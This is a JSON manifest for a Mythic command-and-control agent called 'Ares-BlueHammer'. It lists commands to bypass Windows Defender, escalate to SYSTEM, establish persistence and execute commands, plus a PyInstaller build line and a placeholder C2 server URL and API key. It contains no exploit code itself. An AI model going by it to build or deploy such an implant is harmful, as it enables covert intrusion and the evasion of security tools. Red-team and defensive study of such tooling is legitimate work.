{ "name": "Ares-BlueHammer", "description": "Windows Defender bypass agent using BlueHammer exploit with SYSTEM privileges and persistence", "author": "Ares Team", "version": "1.0", "mythic_version": "2.3", "supported_os": ["windows"], "build_parameters": { "build_command": "pyinstaller --onefile --console hammer_agent.py", "output_directory": "dist" }, "commands": [ { "name": "bypass_defender", "description": "Bypass Windows Defender using BlueHammer exploit", "version": 1, "supported_os": ["windows"], "attributes": { "needs_admin": false } }, { "name": "escalate_privileges", "description": "Gain SYSTEM privileges using various techniques", "version": 1, "supported_os": ["windows"], "attributes": { "needs_admin": false } }, { "name": "establish_persistence", "description": "Establish multiple persistence mechanisms", "version": 1, "supported_os": ["windows"], "attributes": { "needs_admin": false } }, { "name": "execute_command", "description": "Execute system command", "version": 1, "supported_os": ["windows"], "attributes": { "needs_admin": false } } ], "build_script": "build.py", "deployment_script": "deploy.py", "configuration": { "mythic_server": "http://your-mythic-server.com:7443", "api_key": "your-api-key-here", "checkin_interval": 30, "temp_directory": "C:\\Windows\\Temp" } }